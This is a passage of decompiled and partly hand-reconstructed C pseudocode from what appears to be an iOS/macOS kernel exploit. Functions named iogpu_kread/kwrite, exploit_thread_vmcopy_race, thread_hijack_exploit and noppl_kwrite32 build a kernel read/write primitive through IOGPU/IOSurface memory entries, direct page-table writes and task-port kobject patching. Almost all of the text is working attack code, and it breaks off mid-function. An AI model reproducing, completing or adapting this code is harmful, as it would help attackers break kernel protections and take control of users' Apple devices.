  v6[186] = a1;
  if ( !*v7 )
    *v7 = v6[2];
  v2 = 0;
  *(uint64_t *)(a1 + 48) = iogpu_kread;
  *(uint64_t *)(a1 + 64) = iogpu_kwrite;
  *(uint64_t *)(a1 + 56) = iogpu_kread2;
  *(uint64_t *)(a1 + 72) = iogpu_kwrite2;
  *(uint64_t *)(a1 + 80) = v6;
  v6[183] = read_task_kobject_physmap;
  v6[184] = get_read_task_port_kobject;
  v6[185] = check_task_port_type;
  *(uint64_t *)(a1 + 480) = necp_send_msg_1;
  *(uint64_t *)(a1 + 488) = v6;
  return v2;
}
// 42D40: using guessed type __int128 xmmword_42D40;
// 42D50: using guessed type __int128 xmmword_42D50;
// 42D60: using guessed type __int128 xmmword_42D60;
// 42D70: using guessed type __int128 xmmword_42D70;
// 42D80: using guessed type __int128 xmmword_42D80;
// 42D90: using guessed type __int128 xmmword_42D90;
// 42DA0: using guessed type __int128 xmmword_42DA0;

//----- (000000000000A82C) ----------------------------------------------------
__int64 __fastcall read_task_kobject_physmap(struct_krwCtx *a1, unsigned __int64 a2)
{
  __int64 result; // x0
  unsigned __int64 v4; // x20
  bool v5; // zf
  __int64 v6; // [xsp+8h] [xbp-18h] BYREF

  result = traverse_sptm_pgtable_chain(a1, mach_task_self_, a2);
  if ( result )
  {
    v4 = result + 56;
    result = kread64_internal(a1, result + 56, &v6);
    if ( (uint32_t)result )
      v5 = v6 == 0;
    else
      v5 = 1;
    if ( !v5 )
      return kwrite_physmap_with_a3_ptr((__int64)a1, v4, 0);
  }
  return result;
}

//----- (000000000000A8A0) ----------------------------------------------------
__int64 __fastcall get_read_task_port_kobject(struct_krwCtx *a1, mach_port_t a2)
{
  __int64 result; // x0
  unsigned __int64 v4; // x20
  __int64 v5; // [xsp+8h] [xbp-18h] BYREF

  result = get_task_kobject_addr(a1, a2);
  if ( result )
  {
    result = walk_kaddr_chain_to_target(a1, result, 1);
    if ( result )
    {
      v4 = result + 56;
      result = kread64_internal(a1, result + 56, &v5);
      if ( (uint32_t)result )
      {
        if ( v5 )
          return kwrite_physmap_with_a3_ptr((__int64)a1, v4, 0);
      }
    }
  }
  return result;
}

//----- (000000000000A914) ----------------------------------------------------
unsigned __int64 __fastcall check_task_port_type(__int64 krwCtx, unsigned __int64 a2)
{
  unsigned __int64 result; // x0
  mach_vm_address_t vaddr; // x20
  bool v5; // zf
  int v6; // [xsp+4h] [xbp-1Ch] BYREF
  unsigned __int64 v7; // [xsp+8h] [xbp-18h] BYREF

  v7 = 0;
  v6 = 0;
  result = scan_and_validate_kaddr(krwCtx, mach_task_self_, a2, &v7);
  if ( result )
  {
    vaddr = result + 40;
    result = kread_u32(krwCtx, result + 40, &v6);
    if ( (uint32_t)result )
      v5 = v6 == 1;
    else
      v5 = 0;
    if ( v5 )
    {
      v6 = 100;
      return noppl_kwrite32(krwCtx, vaddr, 100);
    }
  }
  return result;
}

//----- (000000000000A99C) ----------------------------------------------------
__int64 __fastcall free_iogpu_krw_ctx(__int64 a1)
{
  __int64 v1; // x0

  v1 = *(uint64_t *)(a1 + 80);
  if ( !v1 )
    return 708609;
  free_vm_page_array_list(v1);
  return 0;
}

//----- (000000000000A9CC) ----------------------------------------------------
__int64 __fastcall iogpu_teardown_ctx(__int64 a1)
{
  vm_address_t *v1; // x20
  __int64 result; // x0
  int v4; // [xsp+Ch] [xbp-14h] BYREF

  v4 = -1;
  v1 = *(vm_address_t **)(a1 + 80);
  if ( !v1 )
    return 708609;
  result = fd_open_dev_null(&v4);
  if ( !(uint32_t)result )
  {
    *(uint64_t *)(a1 + 80) = 0;
    *(__int128 *)(a1 + 48) = 0u;
    *(__int128 *)(a1 + 64) = 0u;
    teardown_iogpu_vm_copy(v1);
    fd_close(v4);
    return 0;
  }
  return result;
}

//----- (000000000000AA3C) ----------------------------------------------------
__int64 __fastcall create_iogpu_shmem_entry(__int64 a1, uint32_t *a2, uint32_t *a3, mach_port_t *a4, uint64_t *a5)
{
  uint64_t *v5; // x25
  __int64 v11; // x19
  memory_object_offset_t v12; // x2
  kern_return_t memory_entry_64; // w0
  memory_object_size_t size; // [xsp+8h] [xbp-58h] BYREF
  mach_port_t name; // [xsp+14h] [xbp-4Ch] BYREF
  mach_port_t object_handle[2]; // [xsp+18h] [xbp-48h] BYREF

  *(uint64_t *)object_handle = 0;
  name = 0;
  v5 = *(uint64_t **)(a1 + 80);
  if ( !v5 )
    return 708609;
  v11 = 163857;
  if ( validate_kaddr_range(a1, v5[163]) )
  {
    if ( v5[164] && v5[165] )
    {
      if ( validate_kaddr_range(a1, v5[166]) && validate_kaddr_range(a1, v5[167]) )
      {
        v12 = v5[170];
        if ( v12 && v5[172] && v5[175] )
        {
          size = 0x4000;
          memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v12, 3, &object_handle[1], 0);
          if ( memory_entry_64
            || (size = 0x4000,
                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[172], 3, object_handle, 0)) != 0)
            || (size = 0x4000,
                (memory_entry_64 = mach_make_memory_entry_64(mach_task_self_, &size, v5[175] + 0x4000LL, 3, &name, 0)) != 0) )
          {
            v11 = memory_entry_64 | 0x80000000;
          }
          else
          {
            v11 = 0;
            a5[10] = v5[163];
            a5[11] = 0;
            a5[12] = v5[164];
            a5[13] = v5[165];
            a5[14] = v5[166];
            a5[15] = v5[167];
            *a2 = object_handle[1];
            *a3 = object_handle[0];
            *(uint64_t *)object_handle = 0;
            *a4 = name;
            name = 0;
          }
        }
      }
      else
      {
        v11 = 163878;
      }
    }
  }
  else
  {
    v11 = 163878;
  }
  if ( object_handle[1] + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, object_handle[1]);
  if ( object_handle[0] + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, object_handle[0]);
  if ( name + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, name);
  return v11;
}

//----- (000000000000AC50) ----------------------------------------------------
__int64 __fastcall iogpu_physmap_init(__int64 a1)
{
  vm_size_t v2; // x20
  kern_return_t memory_entry; // w0
  __int64 result; // x0
  uint64_t *v5; // x4
  __int64 v6; // x0
  uint32_t *v7; // x20
  __int64 i; // x23
  unsigned int v9; // w21
  __int64 v10; // x0
  mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-94h] BYREF
  vm_address_t address; // [xsp+10h] [xbp-90h] BYREF
  vm_size_t size; // [xsp+18h] [xbp-88h] BYREF
  __int128 v14; // [xsp+20h] [xbp-80h]
  mach_port_t v15; // [xsp+3Ch] [xbp-64h] BYREF
  __int64 v16; // [xsp+40h] [xbp-60h] BYREF
  uint32_t v17[4]; // [xsp+48h] [xbp-58h]

  v16 = 0;
  v15 = 0;
  v2 = vm_page_size;
  address = 0;
  size = vm_page_size;
  memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0, 131075, &object_handle, 0);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  memory_entry = vm_map(mach_task_self_, &address, v2, 0, 1, object_handle, 0, 0, 3, 3, 2u);
  if ( memory_entry )
    return memory_entry | 0x80000000;
  bzero((void *)address, v2);
  v5 = (uint64_t *)address;
  *(uint64_t *)address = *(uint64_t *)(a1 + 6608);
  v5[4] = *(uint64_t *)(a1 + 6296);
  v5[5] = *(unsigned int *)(a1 + 6304);
  result = create_iogpu_shmem_entry(a1, (uint32_t *)&v16 + 1, &v16, &v15, v5);
  if ( !(uint32_t)result )
  {
    vm_deallocate(mach_task_self_, address, v2);
    v17[0] = object_handle;
    v17[1] = HIDWORD(v16);
    v17[2] = v16;
    v17[3] = v15;
    v14 = xmmword_43740;
    v6 = iosurface_enum_mach_port(a1, 0x15u);
    if ( v6 )
    {
      v7 = (uint32_t *)v6;
      for ( i = 0; ; ++i )
      {
        v9 = v17[i];
        v10 = task_self_get_ipc_port((struct_krwCtx *)a1, v9);
        if ( !v10 )
          return 163854;
        result = kread_and_vm_attr_double(a1, v10);
        if ( (uint32_t)result )
          return result;
        memory_entry = mach_port_mod_refs(mach_task_self_, v9, 0, 0xFFFF);
        if ( memory_entry )
          return memory_entry | 0x80000000;
        *v7 = v9;
        if ( i == 3 )
          break;
        v7 = (uint32_t *)iosurface_enum_mach_port(a1, *(uint32_t *)((char *)&v14 + i * 4 + 4));
        result = 4097;
        if ( !v7 )
          return result;
      }
      return iosurface_check_and_alloc_port((struct_krwCtx *)a1);
    }
    else
    {
      return 4097;
    }
  }
  return result;
}
// 43740: using guessed type __int128 xmmword_43740;

//----- (000000000000AE58) ----------------------------------------------------
__int64 __fastcall iogpu_init_private_ctx(
        __int64 a1,
        uint64_t *a2,
        mem_entry_name_port_t a3,
        mem_entry_name_port_t a4,
        mem_entry_name_port_t a5,
        uint64_t *a6)
{
  __int64 v12; // x24
  __int64 v13; // x20
  __int64 v14; // x28
  __int64 v15; // x21
  __int64 v16; // x22
  kern_return_t v17; // w0
  uint64_t *v19; // x0
  vm_address_t v20; // x9
  __int64 v21; // [xsp+20h] [xbp-A0h]
  vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF
  vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF
  vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF
  vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF
  vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF
  vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF
  vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF
  vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF
  vm_address_t address; // [xsp+68h] [xbp-58h] BYREF

  v12 = 163857;
  address = 0;
  src_address = 0;
  target_address = 0;
  v26 = 0;
  v27 = 0;
  v13 = a6[10];
  if ( validate_kaddr_range(a1, v13) )
  {
    v14 = a6[12];
    if ( v14 )
    {
      if ( (*(uint64_t *)(a1 + 392) & v14) == 0 )
      {
        v15 = a6[13];
        if ( v15 )
        {
          v21 = a6[14];
          v12 = 163878;
          if ( validate_kaddr_range(a1, v21) )
          {
            v16 = a6[15];
            if ( validate_kaddr_range(a1, v16) )
            {
              v17 = vm_allocate(mach_task_self_, &address, 0xC000u, 1);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &address, 0x4000u, 16386);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &address,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      address,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v24 = address + 0x4000;
              v17 = vm_allocate(mach_task_self_, &v24, 0x8000u, 0x4000);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &target_address, 0xC000u, 1);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_map(mach_task_self_, &target_address, 0x4000u, 0, 0x4000, a3, 0, 0, 3, 3, 1u);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &target_address,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      target_address,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v23 = target_address + 0x4000;
              v17 = vm_allocate(mach_task_self_, &v23, 0x8000u, 0x4000);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_copy(mach_task_self_, target_address, 0xC000u, address);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &src_address, 0xC000u, 1);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_map(mach_task_self_, &src_address, 0x4000u, 0, 0x4000, a4, 0, 0, 3, 3, 1u);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &src_address,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      src_address,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v22 = src_address + 0x4000;
              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &v22,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      v22,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &v27, 0xC000u, 1);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &v27, 0x4000u, 16386);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &v27,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      v27,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v22 = v27 + 0x4000;
              v17 = vm_allocate(mach_task_self_, &v22, 0x4000u, 16386);
              if ( v17 )
                goto LABEL_31;
              *(uint64_t *)cur_protection = 0;
              v17 = vm_remap(
                      mach_task_self_,
                      &v22,
                      0x4000u,
                      0,
                      0x4000,
                      mach_task_self_,
                      v22,
                      0,
                      &cur_protection[1],
                      cur_protection,
                      1u);
              if ( v17 )
                goto LABEL_31;
              v17 = vm_allocate(mach_task_self_, &v26, 0xC000u, 1);
              if ( v17
                || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000u, 16386)) != 0
                || (*(uint64_t *)cur_protection = 0,
                    (v17 = vm_remap(
                             mach_task_self_,
                             &v26,
                             0x4000u,
                             0,
                             0x4000,
                             mach_task_self_,
                             v26,
                             0,
                             &cur_protection[1],
                             cur_protection,
                             1u)) != 0)
                || (v22 = v26 + 0x4000,
                    (v17 = vm_map(mach_task_self_, &v22, 0x4000u, 0, 0x4000, a5, 0, 0, 3, 3, 1u)) != 0)
                || (*(uint64_t *)cur_protection = 0,
                    (v17 = vm_remap(
                             mach_task_self_,
                             &v22,
                             0x4000u,
                             0,
                             0x4000,
                             mach_task_self_,
                             v22,
                             0,
                             &cur_protection[1],
                             cur_protection,
                             1u)) != 0) )
              {
LABEL_31:
                v12 = v17 | 0x80000000;
              }
              else
              {
                v19 = calloc(1u, 0x5E8u);
                if ( v19 )
                {
                  v12 = 0;
                  v19[163] = v13;
                  v19[164] = v14;
                  v19[165] = v15;
                  v19[166] = v21;
                  v19[167] = v16;
                  v19[169] = address;
                  v20 = src_address;
                  v19[170] = target_address;
                  v19[171] = 49152;
                  address = 0;
                  src_address = 0;
                  target_address = 0;
                  v19[172] = v20;
                  v19[173] = v27;
                  v19[174] = 49152;
                  v19[175] = v26;
                  v19[176] = v20;
                  v19[177] = 49152;
                  v26 = 0;
                  v27 = 0;
                  *a2 = v19;
                  goto LABEL_35;
                }
                v12 = 708617;
              }
            }
          }
        }
      }
    }
  }
  else
  {
    v12 = 163878;
  }
  if ( src_address )
    vm_deallocate(mach_task_self_, src_address, 0xC000u);
LABEL_35:
  if ( v27 )
    vm_deallocate(mach_task_self_, v27, 0xC000u);
  if ( v26 )
    vm_deallocate(mach_task_self_, v26, 0xC000u);
  if ( address )
    vm_deallocate(mach_task_self_, address, 0xC000u);
  if ( target_address )
    vm_deallocate(mach_task_self_, target_address, 0xC000u);
  return v12;
}

//----- (000000000000B460) ----------------------------------------------------
__int64 __fastcall iogpu_krw_ctx_setup(__int64 a1, uint32_t *a2)
{
  vm_size_t v2; // x20
  __int64 result; // x0
  int v6; // w22
  mach_port_name_t *v7; // x0
  __int64 v8; // x23
  mach_port_name_t v9; // w1
  __int64 i; // x21
  mach_port_name_t v11; // w1
  bool v12; // zf
  __int64 v13; // x23
  __int64 v14; // x23
  uint64_t *v15; // x5
  __int64 v16; // x8
  __int64 v17; // x8
  __int64 v18; // [xsp+18h] [xbp-88h] BYREF
  __int128 v19; // [xsp+20h] [xbp-80h]
  int v20; // [xsp+3Ch] [xbp-64h] BYREF
  vm_address_t address; // [xsp+40h] [xbp-60h] BYREF
  mem_entry_name_port_t object[4]; // [xsp+48h] [xbp-50h]

  *(uint64_t *)object = 0;
  *(uint64_t *)&object[2] = 0;
  address = 0;
  v2 = vm_page_size;
  v20 = -1;
  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
    return 708609;
  result = fd_open_dev_null(&v20);
  if ( !(uint32_t)result )
  {
    v6 = 163878;
    v19 = xmmword_43740;
    v7 = (mach_port_name_t *)iosurface_enum_mach_port(a1, 0x15u);
    if ( v7 )
    {
      v8 = 0;
      do
      {
        v9 = *v7;
        object[v8] = *v7;
        if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) )
          break;
        if ( v8 == 3 )
        {
          if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[0], 0, 0, 3, 3, 2u) )
          {
            v13 = *(uint64_t *)address;
            if ( validate_kaddr_range(a1, *(uint64_t *)address) )
            {
              *(uint64_t *)(a1 + 6608) = v13;
              v14 = *(uint64_t *)(address + 32);
              if ( validate_kaddr_range(a1, v14) )
              {
                *(uint64_t *)(a1 + 6296) = v14;
                v15 = (uint64_t *)address;
                v16 = *(uint64_t *)(address + 40);
                if ( (unsigned __int64)(v16 - 1) <= 0x1F )
                {
                  *(uint32_t *)(a1 + 6304) = v16;
                  v18 = 0;
                  v6 = iogpu_init_private_ctx(a1, &v18, object[1], object[2], object[3], v15);
                  if ( !v6 )
                  {
                    v17 = v18;
                    *(uint64_t *)(a1 + 48) = iogpu_kread;
                    *(uint64_t *)(a1 + 64) = iogpu_kwrite;
                    *(uint64_t *)(a1 + 56) = iogpu_kread2;
                    *(uint64_t *)(a1 + 72) = iogpu_kwrite2;
                    *(uint64_t *)(a1 + 80) = v17;
                    fd_close(v20);
                    v20 = -1;
                    v6 = krw_read_validation(a1, 0);
                    if ( !v6 )
                    {
                      *(uint64_t *)(a1 + 48) = 0;
                      v6 = krw_write_validation((struct_krwCtx *)a1);
                      if ( !v6 )
                        *(uint64_t *)(a1 + 64) = 0;
                    }
                  }
                }
              }
            }
          }
          break;
        }
        v7 = (mach_port_name_t *)iosurface_enum_mach_port(a1, *(uint32_t *)((char *)&v19 + v8 * 4 + 4));
        ++v8;
      }
      while ( v7 );
    }
    if ( v20 != -1 )
      fd_close(v20);
    if ( v6 )
    {
      for ( i = 0; i != 4; ++i )
      {
        v11 = object[i];
        if ( v11 + 1 >= 2 )
          mach_port_deallocate(mach_task_self_, v11);
      }
    }
    if ( address )
      v12 = v2 == 0;
    else
      v12 = 1;
    if ( !v12 )
      vm_deallocate(mach_task_self_, address, v2);
    result = 0;
    *a2 = v6 == 0;
  }
  return result;
}
// 43740: using guessed type __int128 xmmword_43740;

//----- (000000000000B73C) ----------------------------------------------------
__int64 __fastcall get_iogpu_physmap_base(__int64 a1)
{
  __int64 v1; // x8

  v1 = *(uint64_t *)(a1 + 80);
  if ( v1 )
    return *(uint64_t *)(v1 + 1336);
  else
    return 708609LL;
}

//----- (000000000000B758) ----------------------------------------------------
void memory_barrier_dsb_isb()
{
  __dsb(0xFu);
  __isb(0xFu);
}

//----- (000000000000B768) ----------------------------------------------------
__int64 __fastcall iogpu_kernel_read_op(__int64 krwCtx, unsigned __int64 a2, int a3)
{
  __int64 v6; // x24
  __int64 v7; // x22
  __int64 v8; // x8
  unsigned __int64 v9; // x23
  int v10; // w0
  __int64 v11; // x24
  int v12; // w0
  unsigned __int64 port_kaddr; // x0
  unsigned __int64 v15; // x0
  int v16; // w0
  int v17; // w0
  __int64 v18; // x0
  __int64 v19; // x24
  __int64 v20; // x27
  __int64 v21; // x22
  __int16 v22; // w26
  int v23; // w0
  __int64 v24; // x8
  int v25; // [xsp+4h] [xbp-3ACh] BYREF
  unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF
  uint64_t v27[5]; // [xsp+30h] [xbp-380h] BYREF
  uint64_t v28[2]; // [xsp+58h] [xbp-358h] BYREF
  int v29; // [xsp+68h] [xbp-348h]
  uint64_t *v30[3]; // [xsp+70h] [xbp-340h] BYREF
  uint64_t v31[3]; // [xsp+88h] [xbp-328h] BYREF
  __int64 v32; // [xsp+A0h] [xbp-310h]
  __int64 v33; // [xsp+A8h] [xbp-308h]
  uint64_t v34[2]; // [xsp+B0h] [xbp-300h] BYREF
  char v35; // [xsp+C4h] [xbp-2ECh]
  unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h]

  v6 = 708619;
  if ( !(unsigned int)acquire_write_semaphore_lock(krwCtx, 7u, 0x2710u) )
  {
    v8 = *(uint64_t *)(krwCtx + 280);
    if ( v8 )
    {
      if ( *(uint64_t *)(krwCtx + 288) )
      {
        v9 = *(uint64_t *)(v8 + 344);
        if ( v9 )
          goto LABEL_6;
      }
    }
    v30[2] = v31;
    v34[0] = off_448E0;
    v34[1] = v31;
    parse_xnu_version_string((__int64)&qword_480D8);
    if ( !v12 )
    {
      v7 = 163878;
      v33 = krwCtx;
      scan_for_macho_header(v31, *(uint64_t *)(krwCtx + 6600));
      port_kaddr = get_task_kobject_addr((struct_krwCtx *)krwCtx, mach_task_self_);
      v31[2] = port_kaddr;
      if ( port_kaddr && (v32 = kreadptr((struct_krwCtx *)krwCtx, port_kaddr)) != 0 )
      {
        if ( !(unsigned int)init_text_exec_data_const_sections(v30) && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, v30) )
        {
          if ( (unsigned int)exploit_thread_vmcopy_race((__int64)v34)
            || (unsigned int)krw_ctx_setup_physmap((__int64)&word_48048, v30, (__int64)v31)
            || (v28[0] = v31, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) )
          {
            get_ppnum_via_kread((__int64)v34);
          }
          else
          {
            get_ppnum_via_kread((__int64)v34);
            v25 = 2 * *(uint32_t *)(krwCtx + 384);
            v15 = alloc_physmap_page(krwCtx, (unsigned int *)&v25);
            if ( !v15 )
            {
              v7 = 708617;
              goto LABEL_27;
            }
            v9 = v15;
            pgtable_walk_wrapper(krwCtx, v15, (__int64)v27);
            if ( !v16 )
              goto LABEL_27;
            pgtable_walk_wrapper(krwCtx, v9 + *(unsigned int *)(krwCtx + 384), (__int64)v26);
            if ( !v17 )
              goto LABEL_27;
            v18 = map_physpage_for_kobj((struct_krwCtx *)krwCtx, v26[0]);
            if ( !v18 )
              goto LABEL_27;
            v19 = v18;
            v20 = *(uint64_t *)(krwCtx + 392);
            v21 = v27[4];
            v22 = v27[0];
            pgtable_walk_wrapper(krwCtx, v27[0] & ~v20, (__int64)v34);
            if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 )
            {
              v30[0] = (uint64_t *)MEMORY[0x400000008];
              v31[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL;
              MEMORY[0x400000008] = v31[0];
              memory_barrier_dsb_isb();
              semaphore_timedwait_ns(krwCtx, 0x2710u);
              *(uint64_t *)(v22 & 0x3FFF | 0x400004000LL) = v21 & 0xFFFF000000003FFFLL
                                                        | ((((v19 & (unsigned __int64)~v20) >> 14) & 0x3FFFFFFFFLL) << 14);
              memory_barrier_dsb_isb();
              MEMORY[0x400000008] = v30[0];
              semaphore_timedwait_ns(krwCtx, 0x2710u);
              v24 = *(uint64_t *)(krwCtx + 280);
              if ( v24 && *(uint64_t *)(krwCtx + 288) )
                *(uint64_t *)(v24 + 344) = v9;
LABEL_6:
              v7 = 163878;
              v10 = pgtable_walk_wrapper(krwCtx, a2, v34);
              if ( v10 )
              {
                if ( v35 == 3 )
                {
                  v11 = v9 + 8 * (((*(uint32_t *)(krwCtx + 384) + (uint32_t)v9) & 0x1FFFFFFu) / *(uint32_t *)(krwCtx + 384));
                  if ( (unsigned int)krw_read_thunk((struct_krwCtx *)krwCtx, v11, 8, v31) )
                  {
                    v27[0] = v31[0] & 0xFFFF000000003FFFLL | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14);
                    if ( v27[0] == v31[0] )
                      goto LABEL_12;
                    if ( (unsigned int)kwrite_with_retry(krwCtx, v11, (__int64)v27, 8) )
                    {
                      semaphore_timedwait_ns(krwCtx, 0x2710u);
LABEL_12:
                      if ( noppl_kwrite32(
                             krwCtx,
                             v9 + *(unsigned int *)(krwCtx + 384) + (*(uint64_t *)(krwCtx + 392) & a2),
                             a3) )
                      {
                        v7 = 0;
                      }
                      else
                      {
                        v7 = 163856;
                      }
                      goto LABEL_27;
                    }
                    v7 = 163856;
                  }
                  else
                  {
                    v7 = 163855;
                  }
                }
                else
                {
                  v7 = 163857;
                }
              }
LABEL_27:
              release_write_semaphore_lock(krwCtx, 7u);
              return v7;
            }
          }
          v7 = 708619;
          goto LABEL_27;
        }
      }
      else
      {
        v6 = 163867;
      }
    }
    v7 = v6;
    goto LABEL_27;
  }
  return 708642;
}
// B7FC: variable 'v10' is possibly undefined
// B8D8: variable 'v12' is possibly undefined
// BA3C: variable 'v16' is possibly undefined
// BA54: variable 'v17' is possibly undefined
// BA88: variable 'v23' is possibly undefined
// 448E0: using guessed type __int64 (__fastcall *off_448E0[7])();
// 48000: using guessed type __int64 qword_48000;
// 48048: using guessed type __int16 word_48048;
// 480D8: using guessed type __int64 qword_480D8;

//----- (000000000000BB3C) ----------------------------------------------------
unsigned __int64 __fastcall scan_for_macho_header(__int64 *krwCtx, __int64 a2)
{
  __int64 i; // x1
  __int64 v4; // x20
  unsigned __int64 result; // x0

  for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *krwCtx - 0x4000 )
  {
    *krwCtx = i;
    if ( (unsigned int)kread_u32_value((__int64)krwCtx, i) == (unsigned int)MH_MAGIC_64
      && (unsigned int)kread_u32_value((__int64)krwCtx, *krwCtx + 4) == kCFBundleExecutableArchitectureARM64
      && (unsigned int)kread_u32_value((__int64)krwCtx, *krwCtx + 8) == MH_EXECUTE
      && (unsigned int)kread_u32_value((__int64)krwCtx, *krwCtx + 12) == MH_FILESET )
    {
      break;
    }
  }
  v4 = *krwCtx;
  result = find_kernel_base_ptr((struct_krwCtx *)krwCtx[4]);
  krwCtx[1] = v4 - result;
  return result;
}

//----- (000000000000BBF4) ----------------------------------------------------
__int64 __fastcall acquire_physmap_page_atomic(__int64 a1)
{
  vm_size_t v1; // x19
  mem_entry_name_port_t v2; // w20
  bool v3; // zf
  unsigned __int8 *v4; // x22
  unsigned __int8 v5; // w8
  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF

  v1 = atomic_load((unsigned __int64 *)(a1 + 13872));
  v2 = atomic_load((unsigned int *)(a1 + 13880));
  TRACE_PHYSMAP("physmap worker enter state=%llx size=%llx port=%x flag=%u count=%u\n",
                (unsigned long long)a1,
                (unsigned long long)v1,
                v2,
                atomic_load((unsigned __int8 *)(a1 + 13884)),
                atomic_load((unsigned int *)(a1 + 13888)));
  if ( v1 )
    v3 = v2 == 0;
  else
    v3 = 1;
  if ( !v3 )
  {
    atomic_fetch_add((atomic_uint *volatile)(a1 + 13888), 1u);
    TRACE_PHYSMAP("physmap worker counted state=%llx count=%u\n",
                  (unsigned long long)a1,
                  atomic_load((unsigned int *)(a1 + 13888)));
    v4 = (unsigned __int8 *)(a1 + 13884);
    do
    {
      v5 = atomic_load(v4);
      if ( (v5 & 1) != 0 )
        break;
      address = 0;
    }
    while ( vm_map(mach_task_self_, &address, v1, 0, 0, v2, 0, 1, 1, 1, 1u) == 1 );
  }
  TRACE_PHYSMAP("physmap worker exit state=%llx flag=%u count=%u\n",
                (unsigned long long)a1,
                atomic_load((unsigned __int8 *)(a1 + 13884)),
                atomic_load((unsigned int *)(a1 + 13888)));
  return 0;
}

//----- (000000000000BCB4) ----------------------------------------------------
// DONE: this matches the orig asm
__int64 __fastcall query_vm_region_prot_info(vm_address_t a1)
{
    vm_address_t region_address = a1;
    vm_size_t region_size = 0;
    uint32_t depth = 0; // 0x13
    vm_region_submap_info_data_64_t info = {0}; // 16+16+16+13 bytes zeroed
    mach_msg_type_number_t count = 19; // 0x13
    
    kern_return_t kr = vm_region_recurse_64(mach_task_self(),   // w0: loaded from global
                                            &region_address,    // x1: [x29 - 0x8]
                                            &region_size,       // x2: [x29 - 0x10]
                                            &depth,             // x3: [x29 - 0x14]
                                            (vm_region_recurse_info_t)&info, // x4: [sp + 0x10]
                                            &count              // x5: [sp + 0xc]
                                            );
    
    // Return address from info struct at offset +0x44 (sp+0x54 = sp+0x10+0x44)
    // which corresponds to vm_region_submap_info_64.share_mode or similar field
    return (kr == KERN_SUCCESS) ? *(uint64_t *)&info.object_id_full : NULL;
}

//----- (000000000000BD20) ----------------------------------------------------
__int64 __fastcall iokit_slot_alloc_with_mem_entry(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4)
{
    // x25 = a1 + 0x6648  (pointer to slot count)
    uint32_t *x25 = (uint32_t *)((uint8_t *)a1 + 0x6648);
    
    // w26 = retry counter = 256
    uint32_t w26 = 0x100;
    
    // x27 = mach_task_self_ global
    // w28 = 0x4648 (slot array base offset)
    uint32_t w28 = 0x4648;
    
    do {
        // +76: ldr w24, [x25]
        uint32_t w24 = *x25;
        
        // +80: cmp w24, #0x3ff
        // +84: b.hi → return 3
        if (w24 > 0x3ff)
            return 3;
        
        // x23 = a1 + w24*8 + 0x4648  (pointer to slot entry)
        uint64_t x23 = a1 + ((uint64_t)w24 << 3) + w28;
        
        // +112: vm_allocate(mach_task_self(), x23, size, 3)
        kern_return_t w0 = vm_allocate(mach_task_self(), (vm_address_t *)x23, size, 3);
        
        // +116: cbnz w0 → return error
        if (w0 != KERN_SUCCESS)
            return w0;
